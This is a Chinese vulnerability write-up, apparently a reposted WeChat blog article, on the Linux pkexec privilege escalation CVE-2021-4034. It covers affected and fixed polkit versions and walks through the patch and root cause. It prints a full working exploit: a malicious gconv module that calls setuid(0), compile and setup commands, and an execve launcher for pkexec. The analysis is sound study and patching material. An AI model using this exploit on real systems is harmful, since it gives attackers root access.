关注公众号回复“漏洞”获取研究环境或工具
漏洞信息
2022年01月26日,Linux发布了pkexec权限提升漏洞风险通告。polkit 套件的 pkexec程序中存在一个本地权限提升漏洞。存在漏洞版本的 pkexec 无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点,从而诱导 pkexec 执行任意代码。利用成功后,会导致本地特权升级,非特权用户获得管理员权限。
影响版本:由于 polkit 为系统预装工具,目前主流Linux版本均受影响。在 Ubuntu、Debian、Fedora 和 CentOS 的默认安装环境上均测试通过。
修复版本:
CentOS系列:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu系列:
Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1
关于Polkit
Polkit
https://wiki.archlinux.org/title/Polkit_(简体中文)
Polkit是一个运行于类Unix系统的应用工具集,通过定义和审核权限规则实现不同优先级进程间的通讯。Polkit在系统层级进行权限控制,提供了一个低优先级进程和高优先级进程进行通讯的系统。
和sudo等程序不同,Polkit并没有赋予进程完全的root权限,而是通过一个集中的策略系统进行更精细的授权。也可以使用Polkit执行具有提升权限的命令,psexec允许用户以其他用户权限执行命令,如果用户名不指定,则以root身份执行。
代码审计分析
根据patch:
a2bf5c9c83b6ae46cbd5c779d3055bff81ded683
https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683
首先在`pkcheck.c`中添加参数长度判定。
`pkexec.c`进行了不同程度的代码修复。
首先简要分析Linux命令执行程序,在`bash/sh`调用程序时,`main`函数输入`argc`参数最小值为1,`argv[0]`默认为程序路径。
而`execve`等系统函数则可以指定`args`和环境参数,执行时将环境变量(`envp`)复制到命令行参数之后。
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
简单的测试代码如下所示,注意到`envp[0]`的值为`value`。
当`args`为空时,调用应用程序时`argv`值也被设置为`null`,`argv[1]`的值正好为`envp`第一个参数。
接下来看`pkexec.main`,该函数首先处理命令行参数(第 534-568 行),并在 PATH 环境变量的目录中搜索要执行的程序(如果输入路径为非绝对路径)(第 610-640 行)。
考虑`execve`函数调用`pkexec`的情形,当`argc=0`,`argv[0]=null`,`argv[1]={ENVP[0]}`时,第534行中,整数`n`的值被设置为1,执行一次`for`循环,之后`n`的值被设置为1。(下图为`for`循环测试示例)
在610行中,`path`的值被设置为`argv[1]`,即可执行文件路径被设置为`value`。
当`path`不以`/`开始时,经过`g_find_program_in_path`处理,第639行指针`s`的值被写入为`argv[1]`,正好是`ENVP`参数。
接下来执行到命令调用函数。
综上,使用 `execve`调用`pkexec`, 且 `argc=0`,`argv[0]=null`,`argv[1]={ENVP}`时 , `pkexec`后续处理时`argv[1]`参数被非法注入。这样可通过污染环境变量(例如`LD_PRELOAD`)重新引入 `pkexec `的环境。
此外,当`execve`中`value`(即`envp[0]`)的路径为非完全路径时,会从`PATH`环境变量中搜索可执行程序。因此如果`envp`中`PATH=name`,且`name`中包含一个名为`value`的可执行文件时,则写入一个指向字符串`name/value`的指针到`envp[0]`。如果`PATH=name=.`,则将`name=./value`的指针写入`envp[0]`。
使用GCON_PATH提权
Linux系统提供了一个环境变量`GCONV_PATH`,该环境变量能够使`glibc`使用用户自定义的`gconv-modules`文件,因此如果指定了`GCONV_PATH`的值,可以指定特定的代码。目前相关技术用在基于该环境变量绕过PHP的 `safe_function`检查,下面摘抄的使用`iconv_open`绕过安全函数检查的过程。
-
`iconv_open`函数依照`GCONV_PATH`找到`gconv-modules`文件。
-
根据`gconv-modules`文件的指示找到参数对应的`.so`文件。
-
调用`.so`文件中的`gconv()`和`gonv_init()`函数。
接下来构造`payload`。首先新建一个`gconv-modules`文件:
module PWNSO// INTERNAL /tmp/payload/pwnso 2
module INTERNAL PWNSO// /tmp/payload/pwnso 2
编写`pwnso.c`并编译:
void gconv(){}
void gconv_init() {
setuid(0);
setgid(0);
system("/usr/bin/whoami");
exit(0);
}
gcc pwnso.c -o pwnso.so -shared -fPIC
新建`./GCONV_PATH=.`目录,拷贝`pwnso.so`文件并重命名,至于为什么命名为`pwnso.so:.`可以调试`pkexec`相关代码:
mkdir "GCONV_PATH=."
cp pwnso.so ./GCONV_PATH=./pwnso.so:.
新建`t1.c`文件并编译:
int main(int argc, char **argv)
{
char * const args[] = {
NULL
};
char * const environ[] = {
"pwnso.so;.",
"PATH=GCONV_PATH=.",
"SHELL=/xtmp",
"CHARSET=PWNSO",
NULL
};
return execve("/usr/bin/pkexec", args, environ);
}
gcc t1.c -o t1
最后`system`命令被成功执行,且权限为root。
漏洞POC
POC可以参考:
关注公众号回复“漏洞”获取研究环境或工具
POC
https://github.com/berdav/CVE-2021-4034
使用centos测试,检查polkit版本:
提权:
在Ubuntu 20.04系统下测试:
由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,且听安全团队及文章作者不为此承担任何责任。
点关注,不迷路!
关注公众号回复“漏洞”获取研究环境或工具
原文始发于微信公众号(且听安全):【漏洞进阶系列】深入理解Linux pkexec CVE-2021-4034权限提升漏洞原理与利用EXP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论